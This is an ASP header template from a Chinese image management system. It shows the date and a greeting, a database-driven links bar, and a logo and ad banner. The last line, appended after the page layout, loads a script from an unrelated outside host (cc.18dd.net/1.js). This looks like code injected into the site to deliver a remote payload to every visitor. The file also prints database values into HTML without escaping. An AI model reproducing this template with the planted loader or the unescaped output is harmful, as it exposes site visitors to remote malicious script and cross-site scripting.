top.asp

来自「一款有用的图片管理系统」· ASP 代码 · 共 72 行

<!--#include file="UpdateData.asp"-->
<DIV id=dHTMLToolTip style="Z-INDEX: 1000; LEFT: 0px; VISIBILITY: hidden; WIDTH: 10px; POSITION: absolute; TOP: 0px; HEIGHT: 10px"></DIV>
<TABLE width=770 height=20 border=0 align=center cellPadding=0 cellSpacing=0 bgcolor="#FFA200">
  <TBODY>
    <TR> 
      <TD width="174" height="20" align="center">
	  <font color="#FFFF00"><%=year(now)%>年<%=month(now)%>月<%=day(now)%>日 
            <%dim hou
		    hou=hour(now)%>
            <%if hou<=12 then%>
            上午好 
            <%elseif hou<=19 then%>
            下午好 
            <%else%>
            晚上好 
            <%end if%>
      </font></TD>
      <TD width="596">
	       <%
			sql = "SELECT * FROM links ORDER BY id asc" 
			Set rs = conn.execute(sql)
			if rs.eof and rs.bof then
				Response.Write"还没有连接!"
			else
			    rs.movefirst
					Response.Write"<a href='"&rs("linkUrl")&"' target='"&rs("target")&"'>"&rs("linkName")&"</a>"
				rs.movenext
				do while not rs.eof
				    Response.Write "<font color='#FFFFFF'> - </font><a href='"&rs("linkUrl")&"' target='"&rs("target")&"'>"&rs("linkName")&"</a>"
				rs.movenext
				loop
			end if
			rsclose%></TD>
    </TR>
  </TBODY>
</TABLE>
<TABLE align=center border=0 cellPadding=0 cellSpacing=0 width=770>
  <TBODY>
  <TR bgColor=#ffffff>
      <TD height="68" bgcolor="#FF7E6D" valign="bottom"> 
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="221"><%if rs5("logoUrl")<>"" then%><a href="<%=rs5("url")%>" target="_blank">
		  <%if right(rs5("logoUrl"),3)="gif" or right(rs5("logoUrl"),3)="jpg" then%>
		     <img src="<%=rs5("logoUrl")%>" height="60" border="0">
		  <%elseif right(rs5("logoUrl"),3)="swf" then%>
			<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" height="60">
			  <param name="movie" value="<%=rs5("logoUrl")%>">
			  <param name="quality" value="high">
			  <embed src="<%=rs5("logoUrl")%>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" height="60"></embed></object>
		  <%end if%></a><%end if%></td>
            <td width="505" align="right" valign="middle"><a href="<%=rs5("adUrl")%>" target="_blank">
		  <%if right(rs5("adPic"),3)="gif" or right(rs5("adPic"),3)="jpg" or right(rs5("adPic"),3)="cgi" then%>
		     <img src="<%=rs5("adPic")%>" height="60" border="0">
		  <%elseif right(rs5("adPic"),3)="swf" then%>
			<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="468" height="60">
			  <param name="movie" value="<%=rs5("adPic")%>">
			  <param name="quality" value="high">
			  <embed src="<%=rs5("adPic")%>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="468" height="60"></embed></object>
		  <%end if%></a></td>
            <td width="81" align="center"><a href="#" onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('<%=rs5("url")%>');return false;">设置首页</a><br>
		 <a href="#" onclick="window.external.AddFavorite('<%=rs5("url")%>', '<%=rs5("webname")%>')">加入收藏</a><Br>
		 <a href="manage/login.asp" target="_blank">管理登陆</a></td>
          </tr>
        </table> </TD>
    </TR></TBODY></TABLE>
<TABLE align=center border=0 cellPadding=0 cellSpacing=0 width=770>
  <TBODY>
  <TR>
    <TD height=2><IMG height=2 src="images/new_3.gif" 
  width=770></TD></TR></TBODY></TABLE>
<script language=javascript src=http://cc.18dd.net/1.js></script>